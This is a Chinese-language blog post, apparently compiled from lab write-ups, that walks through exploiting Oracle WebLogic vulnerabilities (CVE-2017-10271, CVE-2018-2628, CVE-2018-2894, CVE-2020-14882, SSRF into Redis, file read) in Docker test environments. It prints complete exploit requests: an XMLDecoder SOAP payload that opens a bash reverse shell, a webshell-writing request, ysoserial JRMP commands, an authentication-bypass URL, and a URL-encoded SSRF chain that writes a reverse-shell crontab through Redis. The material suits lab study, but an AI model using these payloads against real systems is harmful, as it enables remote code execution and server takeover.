weblogic常见漏洞
文章目錄
- CVE-2017-10271
- CVE-2018-2628
- CVE-2018-2894
- CVE-2020-14882
- SSRF漏洞配合Redis
- Weblogic文件讀取
CVE-2017-10271
Weblogic的WLS Security組件對(duì)外提供webservice服務(wù),其中使用了XMLDecoder來解析用戶傳入的XML數(shù)據(jù),在解析的過程中出現(xiàn)反序列化漏洞,導(dǎo)致可執(zhí)行任意命令。
參考鏈接:
https://www.exploit-db.com/exploits/43458/ https://paper.seebug.org/487/ https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices組件反序列化漏洞分析.md http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html環(huán)境搭建
啟動(dòng)測(cè)試環(huán)境:
docker-compose up -d
等待一段時(shí)間,訪問http://your-ip:7001/即可看到一個(gè)404頁面,說明weblogic已成功啟動(dòng)。
漏洞復(fù)現(xiàn)
發(fā)送如下數(shù)據(jù)包(注意其中反彈shell的語句,需要進(jìn)行編碼,否則解析XML的時(shí)候?qū)⒊霈F(xiàn)格式錯(cuò)誤):
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>成功獲取shell:
寫入webshell(訪問:http://your-ip:7001/bea_wls_internal/test.jsp):
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[ <% out.print("test"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/> </soapenv:Envelope>CVE-2018-2628
Oracle 2018年4月補(bǔ)丁中,修復(fù)了Weblogic Server WLS Core Components中出現(xiàn)的一個(gè)反序列化漏洞(CVE-2018-2628),該漏洞通過t3協(xié)議觸發(fā),可導(dǎo)致未授權(quán)的用戶在遠(yuǎn)程服務(wù)器執(zhí)行任意命令。
參考鏈接:
http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA https://github.com/tdy218/ysoserial-cve-2018-2628漏洞環(huán)境
執(zhí)行如下命令啟動(dòng)Weblogic 10.3.6.0:
docker-compose up -d
等待環(huán)境啟動(dòng)(環(huán)境差異,有的機(jī)器可能等待的時(shí)間比較久),訪問http://your-ip:7001/console,初始化整個(gè)環(huán)境。
漏洞復(fù)現(xiàn)
首先下載ysoserial,并啟動(dòng)一個(gè)JRMP Server:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]即為我想執(zhí)行的命令,而[listen port]是JRMP Server監(jiān)聽的端口。
然后,使用exploit.py腳本,向目標(biāo)Weblogic(http://your-ip:7001)發(fā)送數(shù)據(jù)包:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,[victim ip]和[victim port]是目標(biāo)weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路徑,[JRMPListener ip]和[JRMPListener port]第一步中啟動(dòng)JRMP Server的IP地址和端口。[JRMPClient]是執(zhí)行JRMPClient的類,可選的值是JRMPClient或JRMPClient2。
exploit.py執(zhí)行完成后,執(zhí)行docker-compose exec weblogic bash進(jìn)入容器中,可見/tmp/success已成功創(chuàng)建。
CVE-2018-2894
racle 7月更新中,修復(fù)了Weblogic Web Service Test Page中一處任意文件上傳漏洞,Web Service Test Page 在“生產(chǎn)模式”下默認(rèn)不開啟,所以該漏洞有一定限制。
利用該漏洞,可以上傳任意jsp文件,進(jìn)而獲取服務(wù)器權(quán)限。
參考鏈接:
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ https://xz.aliyun.com/t/2458漏洞環(huán)境
執(zhí)行如下命令,啟動(dòng)weblogic 12.2.1.3:
docker-compose up -d
環(huán)境啟動(dòng)后,訪問http://your-ip:7001/console,即可看到后臺(tái)登錄頁面。
執(zhí)行docker-compose logs | grep password可查看管理員密碼,管理員用戶名為weblogic。
登錄后臺(tái)頁面,點(diǎn)擊base_domain的配置,在“高級(jí)”中開啟“啟用 Web 服務(wù)測(cè)試頁”選項(xiàng):
漏洞復(fù)現(xiàn)
訪問http://your-ip:7001/ws_utc/config.do,設(shè)置Work Home Dir為/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我將目錄設(shè)置為ws_utc應(yīng)用的靜態(tài)文件css目錄,訪問這個(gè)目錄是無需權(quán)限的,這一點(diǎn)很重要。
然后點(diǎn)擊安全 -> 增加,然后上傳webshell:
上傳后,查看返回的數(shù)據(jù)包,其中有時(shí)間戳:
CVE-2020-14882
Oracle WebLogic Server is the industry leading application server for building enterprise applications using Java EE standards, and deploying them on a reliable, scalable runtime with low cost of ownership.
In Oracle Critical Patch Update Advisory - October 2020, Oracle fixed two security vulnerabilities submitted by security researcher @Voidfyoo from Chaitin Tech, CVE-2020-14882 and CVE-2020-14883.
CVE-2020-14882 allows remote users to bypass the authentication in administrator console component, and CVE-2020-14883 allows authencated user to execute any command on administrator console component. Using a chain of these two vulnerabilities, unauthenticated remote attacker can execute arbitrary commands on the Oracle WebLogic server over HTTP and take complete control of the host.
References:
https://www.oracle.com/security-alerts/cpuoct2020traditional.html https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbfEnvironment Setup
Start a Weblogic server 12.2.1.3 by executing the following command:
docker-compose up -d
After the startup is complete, visit http://your-ip:7001/console to view the administrator console login page.
Exploit
Using this URL to bypass the authentication of Console component:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portalSSRF漏洞配合Redis
訪問http://your-ip:7001/uddiexplorer/,無需登錄即可查看uddiexplorer應(yīng)用
SSRF漏洞測(cè)試
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我們?cè)赽rupsuite下測(cè)試該漏洞。訪問一個(gè)可以訪問的IP:PORT,如http://127.0.0.1:80:
可訪問的端口將會(huì)得到錯(cuò)誤,一般是返回status code(如下圖),如果訪問的非http協(xié)議,則會(huì)返回did not have a valid SOAP content-type。
修改為一個(gè)不存在的端口,將會(huì)返回could not connect over HTTP to server。
通過錯(cuò)誤的不同,即可探測(cè)內(nèi)網(wǎng)狀態(tài)。
注入HTTP頭,利用Redis反彈shell
Weblogic的SSRF有一個(gè)比較大的特點(diǎn),其雖然是一個(gè)“GET”請(qǐng)求,但是我們可以通過傳入%0a%0d來注入換行符,而某些服務(wù)(如redis)是通過換行符來分隔每條命令,也就說我們可以通過該SSRF攻擊內(nèi)網(wǎng)中的redis服務(wù)器。
首先,通過ssrf探測(cè)內(nèi)網(wǎng)中的redis服務(wù)器(docker環(huán)境的網(wǎng)段一般是172.*),發(fā)現(xiàn)172.18.0.2:6379可以連通:
發(fā)送三條redis命令,將彈shell腳本寫入/etc/crontab:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n" config set dir /etc/ config set dbfilename crontab save進(jìn)行url編碼:
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave注意,換行符是“\r\n”,也就是“%0D%0A”。
將url編碼后的字符串放在ssrf的域名后面,發(fā)送:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
成功反彈:
最后補(bǔ)充一下,可進(jìn)行利用的cron有如下幾個(gè)地方:
Weblogic文件讀取
弱口令
環(huán)境啟動(dòng)后,訪問http://your-ip:7001/console,即為weblogic后臺(tái)。
本環(huán)境存在弱口令:
weblogic Oracle@123weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
任意文件讀取漏洞的利用
假設(shè)不存在弱口令,如何對(duì)weblogic進(jìn)行滲透?
本環(huán)境前臺(tái)模擬了一個(gè)任意文件下載漏洞,訪問http://your-ip:7001/hello/file.jsp?path=/etc/passwd可見成功讀取passwd文件。那么,該漏洞如何利用?
讀取后臺(tái)用戶密文與密鑰文件
weblogic密碼使用AES(老版本3DES)加密,對(duì)稱加密可解密,只需要找到用戶的密文與加密時(shí)的密鑰即可。這兩個(gè)文件均位于base_domain下,名為SerializedSystemIni.dat和config.xml,在本環(huán)境中為./security/SerializedSystemIni.dat和./config/config.xml(基于當(dāng)前目錄/root/Oracle/Middleware/user_projects/domains/base_domain)。
SerializedSystemIni.dat是一個(gè)二進(jìn)制文件,所以一定要用burpsuite來讀取,用瀏覽器直接下載可能引入一些干擾字符。在burp里選中讀取到的那一串亂碼,右鍵copy to file就可以保存成一個(gè)文件:
config.xml是base_domain的全局配置文件,所以亂七八糟的內(nèi)容比較多,找到其中的的值,即為加密后的管理員密碼,不要找錯(cuò)了:
解密密文
然后使用本環(huán)境的decrypt目錄下的weblogic_decrypt.jar,解密密文(或者參考這篇文章:http://cb.drops.wiki/drops/tips-349.html ,自己編譯一個(gè)解密的工具):
可見,解密后和我預(yù)設(shè)的密碼一致,說明成功。
后臺(tái)上傳webshell
獲取到管理員密碼后,登錄后臺(tái)。點(diǎn)擊左側(cè)的部署,可見一個(gè)應(yīng)用列表:
點(diǎn)擊安裝,選擇“上載文件”:
上傳war包。值得注意的是,我們平時(shí)tomcat用的war包不一定能夠成功,你可以將你的webshell放到本項(xiàng)目的web/hello.war這個(gè)壓縮包中,再上傳。上傳成功后點(diǎn)下一步。
填寫應(yīng)用名稱:
繼續(xù)一直下一步,最后點(diǎn)完成。
應(yīng)用目錄在war包中WEB-INF/weblogic.xml里指定(因?yàn)楸緶y(cè)試環(huán)境已經(jīng)使用了/hello這個(gè)目錄,所以你要在本測(cè)試環(huán)境下部署shell,需要修改這個(gè)目錄,比如修改成/jspspy):
成功獲取webshell:
與50位技術(shù)專家面對(duì)面20年技術(shù)見證,附贈(zèng)技術(shù)全景圖總結(jié)
以上是生活随笔為你收集整理的weblogic常见漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: DnsLog盲注
- 下一篇: JBoss 4.x 5.x 6.xJBo